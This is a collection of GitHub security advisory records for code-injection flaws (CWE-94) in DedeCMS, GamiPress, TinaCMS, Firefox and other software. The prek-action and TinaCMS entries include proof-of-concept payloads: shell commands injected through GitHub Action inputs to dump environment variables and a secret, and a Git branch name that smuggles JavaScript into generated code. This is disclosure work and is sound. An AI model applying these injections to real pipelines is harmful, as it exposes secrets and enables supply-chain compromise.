CWE-94

{
  "affected": [],
  "aliases": [
    "CVE-2024-6940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-21T06:15:04Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in DedeCMS 5.7.114. It has been classified as critical. This affects an unknown part of the file article_template_rand.php. The manipulation leads to code injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-271995. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-pw8x-jq9m-hmc9",
  "modified": "2024-07-21T06:30:35Z",
  "published": "2024-07-21T06:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6940"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/fushuling/cve/blob/master/dedeCMS%20V5.7.114%20article_template_rand.php%20code%20injection.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.271995"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.271995"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.372810"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2006-3949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-08-01T21:04:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in artlinks.dispnew.php in the Artlinks component (com_artlinks) for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.",
  "id": "GHSA-pwc5-c4jf-rgx2",
  "modified": "2022-05-01T07:13:48Z",
  "published": "2022-05-01T07:13:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-3949"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/28075"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/1318"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/441541/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/19223"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "GitHub Actions",
        "name": "j178/prek-action"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-29T17:51:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThere are three potential attacks of arbitrary code injection vulnerability in the composite action at _action.yml_.\n\n### Details\nThe GitHub Action variables `inputs.prek-version`, `inputs.extra_args`, and `inputs.extra-args` can be used to execute arbitrary code in the context of the action.\n\n### PoC\n```yaml\n- uses: j178/prek-action@v1.0.5\n  with:\n    prek-version: $(printenv \u003e\u003e $GITHUB_STEP_SUMMARY \u0026\u0026 echo \"0.2.2\")\n    extra_args: \u0027\u0026\u0026 echo \"MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}\" \u003e\u003e $GITHUB_STEP_SUMMARY \u0026\u0026 echo \"\"\u0027\n  env:\n    MY_SECRET: ${{ secrets.MY_SECRET }}\n```\n\nThe previous example will print all the environment variables, and it will expose `MY_SECRET` environment variable value to the summary of the workflow. An attacker could potentially use this vector to compromise the security of the target repository, even passing unnotice because the action will run normally.\n\n### Impact\nCritical, CWE-94",
  "id": "GHSA-pwf7-47c3-mfhx",
  "modified": "2025-09-29T17:51:19Z",
  "published": "2025-09-29T17:51:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/j178/prek-action/security/advisories/GHSA-pwf7-47c3-mfhx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/j178/prek-action/commit/6b7c6ef5c3875c766893b881b40773cd5605bde3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/j178/prek-action"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "j178/prek-action vulnerable to arbitrary code injection in composite action"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-13495"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-22T11:15:08Z",
    "severity": "HIGH"
  },
  "details": "The The GamiPress \u2013 Gamification plugin to reward points, achievements, badges \u0026 ranks in WordPress plugin for WordPress is vulnerable to arbitrary shortcode execution via the gamipress_ajax_get_logs() function in all versions up to, and including, 7.2.1. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.",
  "id": "GHSA-pwfv-f76v-vrf3",
  "modified": "2025-01-22T12:33:05Z",
  "published": "2025-01-22T12:33:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13495"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gamipress/trunk/includes/ajax-functions.php#L39"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3226227"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/gamipress/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/55fa8423-9a41-4afe-9401-03d232caa656?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-2396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-05-21T13:24:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in index.php in Wajox Software microSSys CMS 1.5 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in an arbitrary element of the PAGES array parameter.",
  "id": "GHSA-pwg8-qcw7-2hjm",
  "modified": "2022-05-01T23:49:36Z",
  "published": "2022-05-01T23:49:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2396"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42518"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5651"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30264"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29278"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-5066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-11-13T17:24:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in upload/admin/frontpage_right.php in Agares Media ThemeSiteScript 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter.",
  "id": "GHSA-pwhj-4xxw-vr57",
  "modified": "2022-05-17T00:45:29Z",
  "published": "2022-05-17T00:45:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5066"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6859"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4592"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31959"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/2959"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.7.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:56:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@tinacms/cli` inserts the raw Git branch value into the generated `client.ts` source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.\n\n### Affected component\n\n- **Source (branch read):** `packages/@tinacms/cli/src/cmds/init/templates/config.ts` lines 155\u2013172 \u2014 reads `VERCEL_GIT_COMMIT_REF`, `GITHUB_BRANCH`, or `HEAD` into `config.branch`\n- **Transform (URL build):** `packages/@tinacms/cli/src/next/codegen/index.ts` lines 219\u2013253 \u2014 `_createApiUrl()` concatenates the raw branch into the API URL with no `encodeURIComponent`\n- **Sink (template):** `packages/@tinacms/cli/src/next/codegen/index.ts` lines 363\u2013381 \u2014 `genClient()` interpolates the URL into `url: \u0027${apiURL}\u0027`\n- **Sibling sink:** `packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts` line 55 \u2014 `url: \"${apiURL}\"` (same pattern, double quotes)\n\n### Root cause\n\nThe codegen template at `index.ts:376` uses:\n\n```ts\nurl: \u0027${apiURL}\u0027\n```\n\nwhere `apiURL` contains the raw branch name. No `JSON.stringify`, `encodeURIComponent`, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.\n\n### Payload\n\nThe following is a valid Git branch name (`git check-ref-format` accepts it):\n\n```\nx\u0027+(globalThis.__TINA_PROBE=\u0027hit\u0027)+\u0027\n```\n\n### Generated source (sink)\n\nWhen codegen runs with this branch, the generated `client.ts` contains:\n\n```ts\nexport const client = createClient({\n  url: \u0027https://content.tinajs.io/2.4/content/\u003cclientId\u003e/github/x\u0027+(globalThis.__TINA_PROBE=\u0027hit\u0027)+\u0027\u0027,\n  token: \u0027\u003ctoken\u003e\u0027,\n  queries,\n});\n```\n\nThe `\u0027` in the branch name closes the URL string. `+(globalThis.__TINA_PROBE=\u0027hit\u0027)+` is parsed as a JavaScript expression. The trailing `+\u0027` reopens a string to keep the syntax valid.\n\n### Steps to reproduce\n\n**Prerequisites:** Node.js, Git, npm\n\n```bash\nmkdir /tmp/tinacms-repro \u0026\u0026 cd /tmp/tinacms-repro\ngit init \u0026\u0026 git commit --allow-empty -m \"init\"\ngit branch \"x\u0027+(globalThis.__TINA_PROBE=\u0027hit\u0027)+\u0027\"\nnpm init -y \u0026\u0026 npm install esbuild\n```\n\nCreate `repro.mjs`:\n\n```js\nimport { transform } from \u0027esbuild\u0027;\nimport vm from \u0027vm\u0027;\n\n// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch\nconst branch = \"x\u0027+(globalThis.__TINA_PROBE=\u0027hit\u0027)+\u0027\";\n\n// _createApiUrl() logic from index.ts:252\nconst apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;\n\n// genClient() template from index.ts:376\nconst generated = `\nimport { createClient } from \"tinacms/dist/client\";\nexport const client = createClient({ url: \u0027${apiURL}\u0027, token: \u0027xxx\u0027 });\n`;\n\nconsole.log(\"Generated source:\\n\", generated);\n\n// Compile (same as consumer build)\nconst compiled = await transform(generated, { loader: \u0027ts\u0027, format: \u0027cjs\u0027 });\n\n// Execute in sandboxed VM\nconst sandbox = {\n  globalThis: {},\n  module: { exports: {} },\n  exports: {},\n  require: () =\u003e ({ createClient: (o) =\u003e o }),\n};\nvm.createContext(sandbox);\nvm.runInContext(compiled.code, sandbox);\n\nconsole.log(\"__TINA_PROBE =\", sandbox.globalThis.__TINA_PROBE);\n// Output: __TINA_PROBE = hit\n```\n\nRun: `node repro.mjs`\n\n**Result:** `globalThis.__TINA_PROBE` is set to `\u0027hit\u0027`, confirming the injected expression executed during module evaluation.\n\n**Negative control:** Repeating with `branch = \"feature/safe-branch\"` does not trigger injection.\n\n### Impact\n\nThe injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:\n\n- **Build environment variables** are accessible (`process.env`), which may include `NPM_TOKEN`, `VERCEL_TOKEN`, cloud provider secrets, and API keys\n- **Build artifacts** can be modified, enabling supply-chain compromise of the deployed output\n- **Network access** is available to exfiltrate data\n\n**Attack scenario:** An attacker opens a pull request to any open-source project that uses TinaCMS with preview deployments enabled (Vercel auto-deploys every PR branch). The attacker\u0027s branch name contains the payload. The preview build runs Tina codegen, generates the injected `client.ts`, and the attacker\u0027s code executes during the build.\n\n**Preconditions:**\n1. Attacker can create a branch or PR that triggers a consumer build\n2. Consumer uses TinaCMS with the scaffolded branch config (reading from `VERCEL_GIT_COMMIT_REF` or equivalent)\n3. Tina SDK codegen is enabled (default)\n\n### Severity rationale\n\n**High** \u2014 build-time arbitrary code execution via a controlled Git ref. Critical was not claimed because no real secret exfiltration or release artifact tampering was demonstrated in this proof; only a benign marker was used.\n\n### Suggested fix\n\n1. Use `JSON.stringify(value)` to safely serialize any runtime value interpolated into generated source templates\n2. Apply `encodeURIComponent()` to the branch value before constructing the API URL path segment\n3. Apply the same treatment to `apiURL`, `token`, `errorPolicy`, `cacheDir`, and the sibling `AddGeneratedClientFunc` template in `plugin.ts`\n4. Consider moving runtime values out of source templates entirely \u2014 pass them through a JSON config file that the generated client reads at runtime\n\n### Related advisory\n\n[GHSA-4936-9hrh-qqpw](https://github.com/advisories/GHSA-4936-9hrh-qqpw) \u2014 TinaCMS Forestry migration generated-source RCE. Different source (Forestry YAML labels), different parser (`__TINA_INTERNAL__` unquoting helper), and different sink (`tina/templates.ts`). This report is not a duplicate.",
  "id": "GHSA-pwhx-cvv3-qj5c",
  "modified": "2026-10-09T20:56:52Z",
  "published": "2026-10-09T20:56:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tina: Code injection via unescaped Git branch name in generated client source"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-46874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-22T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A file with a long filename could have had its filename truncated to remove the valid extension, leaving a malicious extension in its place. This could potentially led to user confusion and the execution of malicious code.\u003cbr/\u003e*Note*: This issue was originally included in the advisories for Thunderbird 102.6, but a patch (specific to Thunderbird) was omitted, resulting in it actually being fixed in Thunderbird 102.6.1. This vulnerability affects Firefox \u003c 108, Thunderbird \u003c 102.6.1, Thunderbird \u003c 102.6, and Firefox ESR \u003c 102.6.",
  "id": "GHSA-pwwf-7f48-895h",
  "modified": "2025-04-15T15:30:38Z",
  "published": "2022-12-22T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46874"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1746139"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-06"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-13"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-51"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-52"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-53"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-54"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-4000"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-25T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper neutralization of directives in dynamically evaluated code in Druva inSync Mac OS Client 6.5.0 allows a local, authenticated attacker to execute arbitrary Python expressions with root privileges.",
  "id": "GHSA-pwwh-9mwx-42h3",
  "modified": "2022-05-24T17:09:36Z",
  "published": "2022-05-24T17:09:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4000"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2020-12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-1248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-06T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Quality Manager (RQM) 5.0.x and 6.0 through 6.0.5 are vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim\u0027s Web browser within the security context of the hosting site. IBM X-Force ID: 124628.",
  "id": "GHSA-pwxw-wm47-24w6",
  "modified": "2022-05-13T01:37:12Z",
  "published": "2022-05-13T01:37:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1248"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/124628"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=ibm10716201"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}